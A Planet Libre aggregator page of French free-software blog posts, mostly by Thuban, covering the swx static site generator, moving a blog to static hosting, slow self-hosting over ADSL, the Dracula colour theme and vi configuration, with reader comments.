Planet Libre

Thuban : Encouragements et Contact

Encouragements et Contact Encouragements

Ce site vous plaît? Vous voulez m'encourager? Comment me soutenir?

  • Vous pouvez passer par liberapay :
  • Réaliser un virement bancaire. Cette solution est sans frais et ne passe pas par un service tiers. Envoyez un courriel pour demander mes coordonnées.
  • En envoyant votre recette favorite, un livre que vous avez bien aimé, ou un simple merci à cette adresse. À votre imagination de choisir ☺.
  • Vous trouverez une liste d'envies ici.
Contact À propos

Licence Creative Commons

Rendez-vous sur Arrakis de Xavier Cartron est mis à disposition selon les termes de la licence Creative Commons Attribution - Partage dans les Mêmes Conditions 4.0 International.

Fondé(e) sur une œuvre à http://yeuxdelibad.net.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban :  Blog statique, bye bye Blogotext

 Blog statique, bye bye Blogotext

Après 8 ans d'existence, mon blog sera désormais “statique” et disponible à l'adresse https://yeuxdelibad.net/Journal. Vous pouvez en suivre les nouveautés avec n'importe quel lecteur de flux grâce au flux atom.

Ce “déménagement” a lieu pour plusieurs raisons :

  • Besoin de changement et de simplicité.
  • Envie de rapidité.
  • Le développement de Blogotext est au ralenti, j'avais besoin de m'occuper.
  • Blogotext me servait avant tout pour les commentaires. Vu la teneur des messages, un lien pour m'envoyer un mail sera suffisant, j'ajouterai les liens à la main. Si c'est trop contraignant, rien ne m'empêche d'ajouter Hashover.
  • C'est censé me forcer à publier moins impulsivement.

J'aime toujours autant Blogotext et continue de l'utiliser sur d'autres blogs. Mais avoir un site statique présente des avantages certains :

  • C'est vachement plus rapide.
  • J'utilise les outils d'édition que je veux, et organise mes documents tranquilou.
  • Niveau sécurité, on peut difficilement faire plus sûr sans PHP.
  • La gestion des commentaires “spam” est encore plus simple. Quoi que, il faut l'avouer, j'ai dû être embêté 5 fois maximum en 8 ans de blog…
  • J'aime l'idée de la simplicité.

Ça m'a permis de remettre le nez dans le code de swx, le générateur de site statique, mais j'en reparlerai dans un autre billet.

Grâce à Blogotext, j'ai pu exporter tous mes articles et commentaires au format json. Après un peu de bidouille en python, j'ai pu recréer tout le contenu afin de faciliter les redirections de l'ancien blog vers le nouveau.

Ensuite, un peu de CSS pour l'apparence, du javascript pour rigoler et ça suffira bien.

Pour ceux qui veulent continuer à lire mes bafouilles, n'oubliez pas de vous abonner au nouveau flux atom.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

blog-libre : Lignux

Au détour d’une promenade sur le net, j’ai vu quelques personnes pousser à l’adoption du mot LiGNUx à la place de GNU/Linux. Ça m’a fait marrer… puis je me suis rendu compte que c’était une putain de bonne idée. Je me voyais déjà défendre fièrement cette prodigieuse idée dans un article.

Comme j’aime les mots et que je creuse les choses à l’occasion de la rédaction d’un article, j’ai découvert qu’il y avait une page Wikipédia consacrée à la controverse Linux ou GNU/Linux. C’est énorme, il y a des arguments en faveur de chacun des deux usages mais surtout :

En mai 1996, Richard M. Stallman sort la version 19.31 d’Emacs, changeant le système cible « Linux » en « Lignux », en arguant qu’il donne ainsi sa pleine légitimité au projet GNU, d’où découlent les termes « système Linux basé sur GNU », « système GNU/Linux » ou « Lignux » se référant à la combinaison du noyau Linux et le système GNU. Richard M. Stallman arrêta finalement d’utiliser le terme « Lignux » pour ne plus utiliser que celui de « GNU/Linux ».

C’est dingue ce qu’on apprend sur le net, enfin quand on cherche à apprendre… Je trouve Lignux bien plus pertinent que GNU/Linux, plus simple à écrire, indissociable, mieux associé et imbriqué. Si j’avais su.

La majorité du temps, j’essaie de mettre GNU/Linux. Je suis seulement convaincu qu’une majorité de distribs doit autant au projet Linux qu’au projet GNU et qu’on a tendance à minimiser voire oublier le second. Simple question de respect et de responsabilité. Je n’irai pas ennuyer les gens car ils disent Linux, c’est la liberté de chacun d’utiliser le mot qu’il souhaite.

Voilà pourquoi vous ne me verrez plus utiliser le mot GNU/Linux mais Lignux ha ha ha !

Gravatar de blog-libre
Original post of blog-libre.Votez pour ce billet sur Planet Libre.

Thuban : swx - static site generator

swx - static site generator

swx is now here : swx.

This page in french

swx is a tool to generate a static website from a file tree written in [markdown http://daringfireball.net/projects/markdown/syntax], [txt2tags http://txt2tags.org/] or any other markup language.

It does'nt require any other tool except usal commands (cp, sed…) and the markup parser.

Inspired by sw, swx will generate you html pages, create links between them in a menu. You cas use simple css and templates that will be included in your pages.

Features
  • Convert markdown to html
  • Add menu between pages
  • Ignore some files in a blacklist
  • Generate a rss feed : see swx_rss
  • Generate a blog page. For comments, use [Hashover http://tildehash.com/?page=hashover] or Disqus.
  • Generate a site map see swx_plan
  • Generate a sitemap for web indexers see swx_sitemap
  • Use a Makefile to simplify the site generation see Makefile

Example : source tree

/home/user/site/ |style.css |--------------directory/ |-----------------------index.md |-----------------------file1.md |-----------------------image.jpg |--------------directory2/ |-----------------------index.t2t |-----------------------article.md

will become in output

/home/user/site.static/ |style.css |--------------directory/ |-----------------------index.html |-----------------------file1.html |-----------------------image.jpg |--------------directory2/ |-----------------------index.html |-----------------------article.html Install

Download files here here

Using

Simple run :

./swx directory_containing_website

then, push you site the way you prefer with mercurial, git, rsync or even ftp

Configuration

To configure, edit swx.conf

You can change uppercase variables to fit your needs

  • BL : blacklist, the files that won’t be in the menu
  • CONVERTER : tool to convert sources . Pour txt2tags : CONVERTER='txt2tags -t html -o- --no-headers'.
  • EXT=".md" : extension of files to convert
  • FOOTER : what you want in footer
  • HEADER : what you want in header
  • TOPTEMPLATE : this will be included before the text of your pages Note that the default config file allows you to have a link to the to of the page.
  • BOTTOMTEMPLATE : text included between your text and footer.

Modyfy how your site looks with style.css

Example mkdir dossier cd dossier wget http://dev.yeuxdelibad.net/swx.tgz tar xvzf swx.tgz mkdir monsite vim monsite/index.md vim monsite/page1.md mkdir monsite/dossier1 vim monsite/dossier1/index.md ./swx/swx monsite

Appears monsite.static containing every pages converted to html and a new file swx.log containing the list of news pages (used later)

RSS feed

Use swx_rss to generate feed.xml

./swx_rss > DESTDIR/feed.xml

Replace DESTDIR the path to the output directory

Site map

Generate a list of pages in your site with

./swx_plan DESTDIR > DESTDIR/Divers/map.html

And replace of course : DESTDIR

Sitemap generator ./swx_sitemap DESTDIR > DESTDIR/sitemap.xml

Then, you can compress it :

gzip --best -c DESTDIR/sitemap.xml > DESTDIR/sitemap.gz

Don’t forget to edit robots.txt

User-agent: * Disallow: Sitemap: http://votredomaine.net/sitemap.gz Makefile

Example Makefile to edit to fit your needs:

SOURCEDIR=$(CURDIR)/example DESTDIR=$(CURDIR)/example.static all: ./swx $(SOURCEDIR) ./swx_gopher $(SOURCEDIR) ./swx_sitemap $(DESTDIR) > $(DESTDIR)/sitemap.xml gzip --best -c $(DESTDIR)/sitemap.xml > $(DESTDIR)/sitemap.gz ./swx_plan $(DESTDIR) > $(DESTDIR)/siteplan.html ./swx_rss > $(DESTDIR)/feed.xml ./swx_blog $(DESTDIR)/index.html clean: rm -rf *.static rm swx.log force: find Rendez-vous_sur_Arrakis -exec touch {} \\; make all serve: cd $(DESTDIR) && python3 -m http.server && x-www-browser http://localhost:8000

Then, just run :

  • make : build/update your site
  • make clean : Delete the site
  • make force : Force rebuild, event non-recent files
  • make serve : test site (python required) at http://localhost:8000
The end

Most of script can be improved, and simplified.

Avoid weird file names (use detox!)

Do not hesitate to contact me for any suggestion here

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : swx - générateur de site statique

swx - générateur de site statique

swx est maintenant maintenu par le collectif 3hg : nouvelle page pour swx.

This page in english

swx permet de créer un site statique à partir d'une arborescence de fichiers écrits au format txt2tags ou markdown. Notez toutefois que n'importe quel autre convertisseur et langage markup, (pandoc…) peut être utilisé.

Mis à part ce convertisseur, aucun outil spécial n'est nécessaire, on n'utilise que les commandes de base du système (sed, cut, echo…)

Il s'agit en fait d'un kit de scripts qui ont pour chacun une tâche précise. “Diviser pour mieux régner” qu'ils disaient… Au moins, chaque script fait son boulot, et le fait bien.

Inspiré par sw, swx générera vos pages html, créera des liens entre elles sous forme de menu, et au lieu d'utiliser des modèles avec jinja, vous pouvez utiliser des simples feuilles de style css et préciser au script des morceaux de html que vous voudriez voir dans chaque page.

Fonctionnalités
  • Clone de la structure d'un site
  • Conversion des fichiers markdown, txt2tags en html
  • Ajout d'un menu de navigation entre les pages
  • Ajout des nouvelles pages à la première page du site
  • Peut ignorer des fichiers d'une liste définie dans le fichier de configuration
  • Création d'un flux rss : voir swx_rss
  • Création d'un page de blog : voir swx_blog. Pour les commentaires, utilisez [Hashover http://tildehash.com/?page=hashover ] ou Disqus.
  • Génération d'un “plan de site” listant tout ce qui y est disponible. voir swx_plan
  • Génération d'un “plan de site” lisible par les robots (pour l'indexation des moteurs de recherche) voir swx_sitemap
  • Utiliser un Makefile pour simplifier la génération du site voir Makefile

Exemple : Si votre répertoire source est ainsi :

/home/user/site/ |style.css |--------------directory/ |-----------------------index.md |-----------------------file1.md |-----------------------image.jpg |--------------directory2/ |-----------------------index.t2t |-----------------------article.md

Il deviendra en sortie

/home/user/site.static/ |style.css |--------------directory/ |-----------------------index.html |-----------------------file1.html |-----------------------image.jpg |--------------directory2/ |-----------------------index.html |-----------------------article.html Installation

Téléchargez tous les fichiers présents ici

Installez de quoi traiter votre langage markup (markdown, discount, txt2tags…)

Utilisation

Le script se lance simplement ainsi, dans le répertoire qui contient le dossier contenant votre site :

./swx repertoire_contenant_le_site

Ensuite, libre à vous de copier votre site ou le mettre à jour de la façon que vous préférez

  • Gestionnaire de versions (mercurial, git)
  • rsync (avec l'option -c pour n'uploader que les modifications)
  • ftp
Configuration

La configuration se déroule dans le fichier swx.conf

Vous pouvez modifier le contenu des variables (en majuscule) pour définir:

  • Le titre de votre site (TITLE) et le sous-titre (SUBTITLE)
  • L'adresse du site dans HOSTNAME
  • Des fichiers à ne pas lister dans le menu (BL)
  • CONVERTER : Le programme qui servira à convertir vos fichiers source . Pour txt2tags : CONVERTER='txt2tags -t html -o- --no-headers'.
  • L'extension des fichier à convertir (défaut : EXT=“.md”).
  • FOOTER : le contenu que vous voulez en pied de page
  • HEADER : le contenu souhaité en en-tête de page (favicon, auteur, feuille de style style.css…)
  • TOPTEMPLATE : ce qu'il y aura avant vos textes. Notez que le fichier de configuration par défaut permet d'avoir un lien vers le haut de la page.
  • BOTTOMTEMPLATE : ce qu'il y aura après vos textes

Vous pouvez définir l'apparence souhaitée en modifiant le fichier style.css. Un exemple est fourni avec swx.

Exemple d'utilisation

C'est parti, voyons en quelques étapes comment utiliser toutes les fonctionnalités de swx.

Tout d'abord, on va créer un dossier pour pouvoir travailler :

mkdir dossier cd dossier

On télécharge swx, on le décompresse :

wget http://dev.yeuxdelibad.net/swx.tgz tar xvzf swx.tgz

On crée un nouveau dossier qui contiendra notre site, puis on y crée quelques pages

mkdir monsite vim monsite/index.md vim monsite/page1.md mkdir monsite/dossier1 vim monsite/dossier1/index.md

On génère une première fois notre site :

./swx monsite

Apparaît alors un dossier monsite.static qui contient toutes les pages converties en html, et un nouveau fichier swx.log qui contient la liste des nouvelles pages (ça nous servira plus tard).

Ajout d'un flux rss

Pour ajouter un flux rss, on va créer un fichier feed.xml à la racine du site.

On utilise le script swx_rss fournit avec swx ainsi :

./swx_rss > DESTDIR/feed.xml

Remplacez DESTDIR par le dossier qui contiendra le site. Dans notre exemple, c'est monsite.static

Ajout d'un page type blog

Vous pouvez créer une page de type blog, contenant les articles récents. Il faut lancer :

./swx_blog DESTDIR/page.html

Si le fichier page.html contient “%%%BLOG%%%” (ou ce que vous aurez définit dans la configuration), alors cette ligne sera remplacée par la liste des articles récents.

Ajout d'une page de plan de site

Pour générer un plan de votre site que les visiteurs pourront utiliser afin de le parcourir, vous pouvez utiliser le script swx_plan fournit avec swx.

Pour l'utiliser :

./swx_plan DESTDIR > DESTDIR/Divers/Plan_du_site.html

Remplacez DESTDIR par le dossier qui contiendra le site. Dans notre exemple, c'est monsite.static

N'hésitez pas à éditer le script pour modifier l'apparence de la page générée. Il utilise par défaut le style.css de votre site.

Ajout d'une page de plan de site lisible par les robots

Tout simplement, pour créer un sitemap lisible par les moteurs de recherche :

./swx_sitemap DESTDIR http://yoursite.com > DESTDIR/sitemap.xml

Que vous pouvez compresser ensuite ainsi :

gzip --best -c DESTDIR/sitemap.xml > DESTDIR/sitemap.gz

N'oubliez pas de rajouter dans le fichier robots.txt ceci :

User-agent: * Disallow: Sitemap: http://votredomaine.net/sitemap.gz Automatiser le tout

Vous pouvez soit utiliser un script appelant les commandes précédentes, ou bien un fichier Makefile, qui vous permettra de faire tout ça avec simplement la commande make.

Exemple de fichier Makefile, à adapter selon le chemin de vos fichiers (variables DESTDIR, SOURCEDIR, et le nom du dossier contenant le site (ici Rendez-vous_sur_Arrakis)) :

SOURCEDIR=$(CURDIR)/example DESTDIR=$(CURDIR)/example.static all: ./swx $(SOURCEDIR) ./swx_gopher $(SOURCEDIR) ./swx_sitemap $(DESTDIR) > $(DESTDIR)/sitemap.xml gzip --best -c $(DESTDIR)/sitemap.xml > $(DESTDIR)/sitemap.gz ./swx_plan $(DESTDIR) > $(DESTDIR)/siteplan.html ./swx_rss > $(DESTDIR)/feed.xml ./swx_blog $(DESTDIR)/index.html clean: rm -rf *.static rm swx.log force: find Rendez-vous_sur_Arrakis -exec touch {} \\; make all serve: cd $(DESTDIR) && python3 -m http.server && x-www-browser http://localhost:8000

Voici ce que vous pourrez faire avec ce fichier présent dans votre dossier contenant swx :

  • make : fabrique/met à jour votre site
  • make clean : supprime votre site
  • make force : force la refabrication du site, même si certaines pages ne sont pas détectées comme récentes.
  • make serve : permet de tester votre site localement. Allez sur votre navigateur à la page http://localhost:8000
Pourquoi un autre générateur de site statique?

Bonne question. Ceux qui ont suivi ont pu voir que j'avais écrit auparavant pwg . Cependant il était mal fichu : tout dans un seul fichier, du coup dès que je voulais modifier quelque chose j'étais contraint de me replonger dans le code. C'était vraiment pas facile à maintenir. De plus, le python me limitait au markdown

Mais qu'en est-il des autres générateurs de site statiques? Ben oui, pour ne citer que les plus connus pelican, jekyll… À mon goût, ils faisaient bien trop de choses. Pour déployer un site, il m'aurait fallu reprendre toutes mes pages, y ajouter des tags, reprendre les templates du site…

Le mot de la fin

Évitez les fichiers avec des noms bizarres, des espaces… Pour vous en débarrasser, pensez à la commande detox (paquet debian du même nom)

Si vous souhaitez contribuer, suffit de demander

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Formulaire de recherche sur votre site

Formulaire de recherche sur votre site

Si vous souhaitez ajouter un formulaire de recherche sur votre site, vous pouvez insérer le code html suivant :

Avec duckduckgo :

Cherche sur votresite.tld

Avec qwant :

Chercher sur votresite.tld function encodeHTML(s) { return s.replace(/&/g, '&').replace(/

Dans chaque exemple, pensez à modifier le champ "votresite.tld".

Le formulaire de qwant nécessite l'activation de javascript... Ce n'est pas du code exotique, mais ça peut en chagriner certains.

À vous ;)

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Formulaire de recherche sur votre site

Formulaire de recherche sur votre site

Si vous souhaitez ajouter un formulaire de recherche sur votre site, vous pouvez insérer le code html suivant :

Avec duckduckgo :

Cherche sur votresite.tld

Avec qwant :

Chercher sur votresite.tld function encodeHTML(s) { return s.replace(/&/g, '&').replace(/

Dans chaque exemple, pensez à modifier le champ "votresite.tld".

Le formulaire de qwant nécessite l'activation de javascript... Ce n'est pas du code exotique, mais ça peut en chagriner certains.

À vous ;)

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Que c'est lent...

Que c'est lent…

Depuis le déménagement de ma ligne, l'accès à mon serveur est particulièrement lent... Et j'en suis désolé :s

Dans ma nouvelle rue, les lignes téléphoniques sont suspendues à des poteaux en bois... C'est dire l'âge qu'elles ont...
Voici les caractéristiques de mon accès :

  • Synchronisation : ↓ 608 Kbps ; ↑ 160 Kbps
  • Atténuation : 68.0586 dB
  • Distance du NRA : 6462 mètres
  • Type de câble : 6mm : 6462m

Le NRA est loin, l'atténuation grande, le temps de réponse s'en ressent. :/
En attendant, j'ai contacté mon FAI à ce sujet, mais je crains qu'ils ne puissent pas y faire grand chose...

Normalement, la fibre doit être déployée au cours de l'année dans ma commune... J'espère !

le 25/04/2018 à 05:29:09, Mirabellette a dit :

Pas facile l'autohébergement dans un patelin :D

le 26/04/2018 à 09:55:55, paskal a dit :

Et oui, qualité de vie ne rime pas forcément avec haut-débit...
J'éviterai donc de charger cinq pages à la fois, promis !
Et puis, profiter d'un site aussi agréable se mérite. :)

le 28/04/2018 à 14:10:05, arpinux a dit :

@paskal : vrai que ça ajoute un petit suspens à chaque consultation du site :P

le 29/04/2018 à 07:34:20, thuban a dit :

@arpinux :
@paskal :
Ah les coquiins 😜

le 01/05/2018 à 13:46:00, donguid a dit :

J'ai connu le cas dans le sud ouest: le département fibrait à tout va ... entre les NRA. Etant à 5900 m du mien, j'avais la chance d'avoir du 511 alors que certains voisins n'avaient rien (le multiplexage et l'adsl ne sont pas copains). 511, cad la techno d'avant le 512 : j'avais repéré le fil sur le poteau qui m'amenait internet, car un jour un camion a défoncé ce câble, et plus rien. Une fois remis en place, du net. Et par temps de vent, ou lorsqu'un fichu piaf se posait sur ce câble, je constatais la baisse de débit ...

Sinon, de ton coin pas loin de Nantes, es tu passé voir le hackathon OpenBSD ? N'étant pas un dieu du C, je n'oserai pas approcher ce groupe de furieux ;-)

le 01/05/2018 à 14:11:48, thuban a dit :

@donguid : Ça fibre dans le coin pourtant, ça devrait arriver dans l'année d'après les nouvelles de la mairie...

Et non, je n'ai pas eu l'occasion d'assister au hackaton. Moi non plus, je ne saurais pas participer, mais j'aurais été curieux de rencontrer ces furieux ;)

le 05/05/2018 à 13:45:20, utux a dit :

Loue un vps à 3€ par mois..

le 05/05/2018 à 14:48:46, thuban a dit :

@utux : J'y ai pensé, mais un VPS ne me permet pas de garder les données chez moi.
Et du mail sur un VPS, c'est pas évident...

le 06/05/2018 à 13:51:27, PengouinPdt a dit :

Mon petit doigt me dit qu'il connaît même un serveur qu'il pourrait utiliser, qui à-priori supporte bien la charge... qu'il pourrait le faire pour la partie web, à minima...
Qu'il n'y a aucun problème qu'il l'utilise pour cela...

Mais bon, chacun fait ses choix, hein ! ;)

le 06/05/2018 à 16:13:45, thuban a dit :

@PengouinPdt : Ça ne change rien au fait que je veux garder les données chez moi.
Le CHATONS que j'héberge se vante de respecter les utilisateurs. Si je mettais leurs données et leurs mails sur un autre serveur, ça serait incohérent.

Pour ce qui est de mon blog perso ou mon site, c'est juste par caprice, je veux m'auto-héberger, car je peux le faire.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Que c'est lent...

Que c'est lent…

Depuis le déménagement de ma ligne, l'accès à mon serveur est particulièrement lent... Et j'en suis désolé :s

Dans ma nouvelle rue, les lignes téléphoniques sont suspendues à des poteaux en bois... C'est dire l'âge qu'elles ont...
Voici les caractéristiques de mon accès :

  • Synchronisation : ↓ 608 Kbps ; ↑ 160 Kbps
  • Atténuation : 68.0586 dB
  • Distance du NRA : 6462 mètres
  • Type de câble : 6mm : 6462m

Le NRA est loin, l'atténuation grande, le temps de réponse s'en ressent. :/
En attendant, j'ai contacté mon FAI à ce sujet, mais je crains qu'ils ne puissent pas y faire grand chose...

Normalement, la fibre doit être déployée au cours de l'année dans ma commune... J'espère !

le 25/04/2018 à 05:29:09, Mirabellette a dit :

Pas facile l'autohébergement dans un patelin :D

le 26/04/2018 à 09:55:55, paskal a dit :

Et oui, qualité de vie ne rime pas forcément avec haut-débit...
J'éviterai donc de charger cinq pages à la fois, promis !
Et puis, profiter d'un site aussi agréable se mérite. :)

le 28/04/2018 à 14:10:05, arpinux a dit :

@paskal : vrai que ça ajoute un petit suspens à chaque consultation du site :P

le 29/04/2018 à 07:34:20, thuban a dit :

@arpinux :
@paskal :
Ah les coquiins 😜

le 01/05/2018 à 13:46:00, donguid a dit :

J'ai connu le cas dans le sud ouest: le département fibrait à tout va ... entre les NRA. Etant à 5900 m du mien, j'avais la chance d'avoir du 511 alors que certains voisins n'avaient rien (le multiplexage et l'adsl ne sont pas copains). 511, cad la techno d'avant le 512 : j'avais repéré le fil sur le poteau qui m'amenait internet, car un jour un camion a défoncé ce câble, et plus rien. Une fois remis en place, du net. Et par temps de vent, ou lorsqu'un fichu piaf se posait sur ce câble, je constatais la baisse de débit ...

Sinon, de ton coin pas loin de Nantes, es tu passé voir le hackathon OpenBSD ? N'étant pas un dieu du C, je n'oserai pas approcher ce groupe de furieux ;-)

le 01/05/2018 à 14:11:48, thuban a dit :

@donguid : Ça fibre dans le coin pourtant, ça devrait arriver dans l'année d'après les nouvelles de la mairie...

Et non, je n'ai pas eu l'occasion d'assister au hackaton. Moi non plus, je ne saurais pas participer, mais j'aurais été curieux de rencontrer ces furieux ;)

le 05/05/2018 à 13:45:20, utux a dit :

Loue un vps à 3€ par mois..

le 05/05/2018 à 14:48:46, thuban a dit :

@utux : J'y ai pensé, mais un VPS ne me permet pas de garder les données chez moi.
Et du mail sur un VPS, c'est pas évident...

le 06/05/2018 à 13:51:27, PengouinPdt a dit :

Mon petit doigt me dit qu'il connaît même un serveur qu'il pourrait utiliser, qui à-priori supporte bien la charge... qu'il pourrait le faire pour la partie web, à minima...
Qu'il n'y a aucun problème qu'il l'utilise pour cela...

Mais bon, chacun fait ses choix, hein ! ;)

le 06/05/2018 à 16:13:45, thuban a dit :

@PengouinPdt : Ça ne change rien au fait que je veux garder les données chez moi.
Le CHATONS que j'héberge se vante de respecter les utilisateurs. Si je mettais leurs données et leurs mails sur un autre serveur, ça serait incohérent.

Pour ce qui est de mon blog perso ou mon site, c'est juste par caprice, je veux m'auto-héberger, car je peux le faire.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓

Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓

Ça y est, mon fournisseur d'accès à internet a déménagé ma ligne après qu'orange ait enfin terminé d'installer ma ligne.
Il reste du temps pour que les DNS se propagents, et je suppose qu'il restera des petits détails à régler, mais c'est une bonne chose de faite.

N'hésitez pas à me rapporter ici d'éventuels soucis.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓

Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓

Ça y est, mon fournisseur d'accès à internet a déménagé ma ligne après qu'orange ait enfin terminé d'installer ma ligne.
Il reste du temps pour que les DNS se propagents, et je suppose qu'il restera des petits détails à régler, mais c'est une bonne chose de faite.

N'hésitez pas à me rapporter ici d'éventuels soucis.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : dracula - une palette de couleurs pour vos applications

dracula - une palette de couleurs pour vos applications

J'ai pendant longtemps utilisé le très célèbre thème de couleurs "solarized". Une fois qu'on s'y est habitué, il faut admettre qu'il est très reposant pour les yeux.

Cependant, j'en ai eu marre et eu envie de tester une alternative : dracula

Plus sombre que son prédécesseur, il est à mon avis plus agréable.

alt

Vous trouverez des thèmes pour la plupart des applications.
Ci-dessous, voici les couleurs pour dmenu :

# draculaNB="#282a36"NF="#f8f8f2"SB="#44475a"SF="#8be9fd"FN="Hack-10"COLORS="-fn $FN -nb $NB -nf $NF -sb $SB -sf $SF"

Et pour xterm (fichier .Xdefaults)

! Dracula Xresources palette*.foreground: #F8F8F2*.background: #282A36*.color0: #000000*.color8: #4D4D4D*.color1: #FF5555*.color9: #FF6E67*.color2: #50FA7B*.color10: #5AF78E*.color3: #F1FA8C*.color11: #F4F99D*.color4: #BD93F9*.color12: #CAA9FA*.color5: #FF79C6*.color13: #FF92D0*.color6: #8BE9FD*.color14: #9AEDFE*.color7: #BFBFBF*.color15: #E6E6E6

Il y a même un patch pour st

enjoy ;)

le 21/04/2018 à 16:24:00, Comete a dit :

Moi j'utilise celui-ci, depuis de nombreuses années, qui est pas mal non plus... conjointement avec le theme pour Vim: Wombat256

*foreground: #909090
*background: #1c1c1c
*color0: #1C1C1C
*color8: #404040
*color1: #B85335
*color9: #d7875f
*color2: #87d75f
*color10: #d7ff87
*color3: #FFB964
*color11: #FAD07A
*color4: #7292d2
*color12: #87afff
*color5: #b87ab8
*color13: #dbbddb
*color7: #909090
*color15: #e4e4e4

! color man pages
*VT100*colorMode: on
*VT100*boldColors: on
*VT100*dynamicColors: on
*VT100*colorULMode: on
*VT100*underLine: off
*VT100*colorBDMode: on
*VT100*colorUL: #87d75f
*VT100*colorBD: #e04613

le 22/04/2018 à 10:34:48, sogal a dit :

Yeah !
Très sympa ce thème, un bon équilibre entre solarized dark et monokai que j'aime beaucoup tous les deux !

Du coup j'ai fait un petit thème pour Tilix :

cat ~/.config/tilix/schemes/Dracula.json { "background-color": "#282936", "badge-color": "#FFFFFF", "bold-color": "#FFFFFF", "comment": "", "cursor-background-color": "#BABDB6", "cursor-foreground-color": "#BBBBBB", "foreground-color": "#F8F8F2", "highlight-background-color": "#F8F8F8", "highlight-foreground-color": "#888A85", "name": "Dracula", "palette": [ "#000000", "#FF5454", "#50FA7B", "#F7CA88", "#BD93F9", "#FF79C6", "#8BE8FD", "#BBBBBB", "#44475A", "#FF5454", "#50FA7A", "#F1FA8C", "#BD93F9", "#FF79C6", "#8BE8FD", "#FFFFFF" ], "use-badge-color": false, "use-bold-color": false, "use-cursor-color": true, "use-highlight-color": true, "use-theme-colors": false}

Merci pour cet article découverte !

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : dracula - une palette de couleurs pour vos applications

dracula - une palette de couleurs pour vos applications

J'ai pendant longtemps utilisé le très célèbre thème de couleurs "solarized". Une fois qu'on s'y est habitué, il faut admettre qu'il est très reposant pour les yeux.

Cependant, j'en ai eu marre et eu envie de tester une alternative : dracula

Plus sombre que son prédécesseur, il est à mon avis plus agréable.

alt

Vous trouverez des thèmes pour la plupart des applications.
Ci-dessous, voici les couleurs pour dmenu :

# draculaNB="#282a36"NF="#f8f8f2"SB="#44475a"SF="#8be9fd"FN="Hack-10"COLORS="-fn $FN -nb $NB -nf $NF -sb $SB -sf $SF"

Et pour xterm (fichier .Xdefaults)

! Dracula Xresources palette*.foreground: #F8F8F2*.background: #282A36*.color0: #000000*.color8: #4D4D4D*.color1: #FF5555*.color9: #FF6E67*.color2: #50FA7B*.color10: #5AF78E*.color3: #F1FA8C*.color11: #F4F99D*.color4: #BD93F9*.color12: #CAA9FA*.color5: #FF79C6*.color13: #FF92D0*.color6: #8BE9FD*.color14: #9AEDFE*.color7: #BFBFBF*.color15: #E6E6E6

Il y a même un patch pour st

enjoy ;)

le 21/04/2018 à 16:24:00, Comete a dit :

Moi j'utilise celui-ci, depuis de nombreuses années, qui est pas mal non plus... conjointement avec le theme pour Vim: Wombat256

*foreground: #909090
*background: #1c1c1c
*color0: #1C1C1C
*color8: #404040
*color1: #B85335
*color9: #d7875f
*color2: #87d75f
*color10: #d7ff87
*color3: #FFB964
*color11: #FAD07A
*color4: #7292d2
*color12: #87afff
*color5: #b87ab8
*color13: #dbbddb
*color7: #909090
*color15: #e4e4e4

! color man pages
*VT100*colorMode: on
*VT100*boldColors: on
*VT100*dynamicColors: on
*VT100*colorULMode: on
*VT100*underLine: off
*VT100*colorBDMode: on
*VT100*colorUL: #87d75f
*VT100*colorBD: #e04613

le 22/04/2018 à 10:34:48, sogal a dit :

Yeah !
Très sympa ce thème, un bon équilibre entre solarized dark et monokai que j'aime beaucoup tous les deux !

Du coup j'ai fait un petit thème pour Tilix :

cat ~/.config/tilix/schemes/Dracula.json { "background-color": "#282936", "badge-color": "#FFFFFF", "bold-color": "#FFFFFF", "comment": "", "cursor-background-color": "#BABDB6", "cursor-foreground-color": "#BBBBBB", "foreground-color": "#F8F8F2", "highlight-background-color": "#F8F8F8", "highlight-foreground-color": "#888A85", "name": "Dracula", "palette": [ "#000000", "#FF5454", "#50FA7B", "#F7CA88", "#BD93F9", "#FF79C6", "#8BE8FD", "#BBBBBB", "#44475A", "#FF5454", "#50FA7A", "#F1FA8C", "#BD93F9", "#FF79C6", "#8BE8FD", "#FFFFFF" ], "use-badge-color": false, "use-bold-color": false, "use-cursor-color": true, "use-highlight-color": true, "use-theme-colors": false}

Merci pour cet article découverte !

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Configurer vi (et pas vim)

Configurer vi (et pas vim)

Pour les barbus fervents de minimalisme, pas besoin de vim, vi suffit à lui tout seul :)

Afin de le configurer, il faut éditer le fichier ~/.exrc. Voici le contenu (tout petit) du mien :

set showmodeset numberset rulerset tabstop=4set shiftwidth=4 set autoindent

Le "man vi" vous donnera des détails si besoin ;)

le 18/04/2018 à 09:40:58, karchnu a dit :

En même temps vi a presque tout ce dont j'ai besoin… pas mal pour un petit programme qui a plus de 40 ans.

le 18/04/2018 à 10:15:18, Starsheep a dit :

Je pense que tu peux aller encore plus loin dans le minimalisme : ed.

Bon courage. :D

le 18/04/2018 à 17:12:48, thuban a dit :

@Starsheep : En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.
Mais clairement, vi est plus facile :)
Sinon, chiche ! Je te regarde ;)

le 18/04/2018 à 21:02:25, fougasse a dit :

@thuban :

En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.

→ tu veux dire "ex" et "vi" font partie du même programme non ?

le 18/04/2018 à 21:18:56, thuban a dit :

@fougasse : Ah oui, pardon, c'est bien "ex", j'ai confondu.

